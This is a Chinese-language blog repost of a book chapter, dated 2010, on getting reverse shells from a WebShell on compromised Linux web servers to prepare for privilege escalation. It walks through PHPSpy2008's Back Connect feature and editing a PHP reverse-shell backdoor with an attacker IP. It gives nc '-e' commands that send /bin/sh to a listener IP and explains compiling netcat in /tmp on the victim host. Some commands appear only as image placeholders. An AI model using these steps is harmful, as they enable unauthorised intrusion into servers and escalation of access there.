Linux下通过WebShell反弹Shell的技巧

13.2 Linux下通过WebShell反弹Shell的技巧

Linux下通过WebShell反弹CmdShell,在网站服务器入侵提权过程中的应用比Windows环境下更广更频繁。

Linux提权绝大部分都靠的是Local Exploit。WebShell一般都可以执行命令,但是溢出必须在可交互环境运行,否则如果直接在WebShell执行,即使能溢出提权成功,也没法利用。因此必须要反弹一个Shell命令行窗口,在命令行终端下执行溢出进行提权。

13.2.1 使用PHP WebShell木马反弹Shell

一般情况下,大多数PHP WebShell木马后门都带有的Back Connect功能弹回一个Shell。例如在PHPSpy2008木马后门中,有一个Back Connect反弹连接功能,可以反弹获得一个继承当前WebShell权限的Shell命令窗口。

在使用Back Connect反弹连接功能前,首先需要使用NC工具在本地监听一个未使用的端口,例如监听本地8888端口,执行如下命令:

clip_image001

然后在WebShell的Back Connect反弹连接功能页中,会自动检测本机的IP地址,在“Your IP”中显示本机IP,在“Your Port”中输入监听的端口,这里为8080。然后选择要使用的反弹连接方式,PHPSpy2008提供了两种反弹连接方式,Perl和C,这里使用Perl反弹(图403)。

clip_image003

图403

设置完毕后,点击“Start”按钮,即可发送Shell窗口到监听端口了。在NC监听窗口中,可得到一个Shell命令行窗口(图404)。

clip_image005

图404

除了PHPSpy2008之外,还有一些专用的PHP反弹shell网页后门。首先在本地用文本编辑器打开PHP反弹shell网页后门文件,在其中找到如下代码内容:

clip_image006

clip_image008

图405

修改设置其中的反弹IP地址111.123.96.28为本机IP地址,默认反弹端口为8888,可进行修改(图405)。修改后保存文件,将其通过WebShell上传。假设上传后的链接地址为http://www.***.com/shell.php。然后在本地打开命令提示符窗口,执行如下命令:

clip_image009

使用nc监听本地的8888端口。在浏览器中访问http://www.***.com/shell.php,在nc监听的端口中,就可以获得一个从网站服务器上返回来的命令行Shell了。

13.2.2 使用NC反弹Shell

在进行Shell反弹时,有时会碰到服务器不支持PHP或者WebShell无法成功反弹Shell的情况,例如有的服务器只支持JSP,不支持PHP。此时,可以同样采用Windows下的经典的NC反弹Shell方法。

在Windows下反弹CmdShell时,首先要在本机运行“nc -vv -l -p 端口号”监听端口,然后在WebShell中执行“nc -e cmd.exe 监听主机IP地址 端口”,就可以反弹一个CmdShell。这个方法在Linux中仍然可行,只不过需要作一点小小的改动。

——在本机监听端口后,在WebShell运行nc反弹时,需要发送的是“/bin/sh”,而不是cmd.exe,这样才够反弹发送一个Linux下的Shell命令行窗口给监听主机。例如执行如下命令:

clip_image010

即可反弹一个Shell到IP地址为119.1.44.32的监听主机的8888端口。

13.2.3 远程主机无NC工具时的解决办法

在使用NC反弹Shell时,还会碰到远程主机上不能直接执行nc,或者没有安装nc工具。碰到这样的情况,可以给手工给远程主机安装一个NC,比较方便的方法是,到http://netcat.sourceforge.net/download.php下载nc源码,然后在本地Linux机器上编译成可执行程序后,再将编译文件上传到远程主机上。如果本地编译的程序在远程主机上无法使用,可以直接把源码传上去后,在目标机器上直接编译。

如果需要在目标机器上编译NC的话,需要注意一些问题,因为在得到Shell命令行窗口前,只能在WebShell里执行命令,一般每次只能执行一条,然后等待执行后的结果回显。

另外,在编译时需要注意程序执行路径的问题。由于Linux下权限设置非常严格,即使攻击者获得了WebShell,也可能无法直接在WEB网页目录下写入文件,只能在/tmp之类的文件夹中上传写入NC源文件(图406)。

clip_image012

图406

例如WebShell在/var/www/目录,那么在WebShell中执行命令默认的当前路径都是/var/www/,如果netcat源码包解压在了/tmp/netcat-0.7.1文件夹,在编译netcat进行make操作时,由于当前路径是/var/www/,而不是/tmp/netcat-0.7.1,所以在make操作时会出错。解决这个问题其实很简单,可以直接把切换路径和make操作两句命令写成一句,用分号隔开写就可以了。

将netcat-0.7.1源文件上传到可写文件夹/tmp中后,在WebShell中编译nc的操作过程及命令如下:

clip_image013

clip_image015

图407

执行该命令后,可以将netcat-0.7.1源文件解压到/tmp/netcat-0.7.1目录中(图407)。然后再执行命令:

clip_image016

配置完毕后,再执行如下命令进行编译:

clip_image017

由于使用了分号,可同时执行两条命令,将make跟在目录切换命令后面,在编译的时候就不会报错了(图408)。

clip_image019

图408

编译成功以后,就可以输入命令反弹Shell了,例如这里nc路径是/tmp/netcat-0.7.1/nc,在本地执行“nc -vv -l -p 8080”命令监听8080号端口后,在WebShell中执行如下命令(图409):

clip_image020

clip_image022

图409

即可向主机反弹回一个Shell命令行窗口了。需要注意的是,反弹的Linux Shell是没有$提示符的,执行一句返回一句(图410)。另外,这里反弹Shell时候运行的是/bin/sh,也可以反弹运行/bin/bash,但/bin/sh的权限比/bin/bash要设置松一些,因此成功率更高一些。

clip_image024

图410

posted @ 2010-10-27 18:01  博文视点(北京)官方博客  阅读(2396)  评论(0编辑  收藏  举报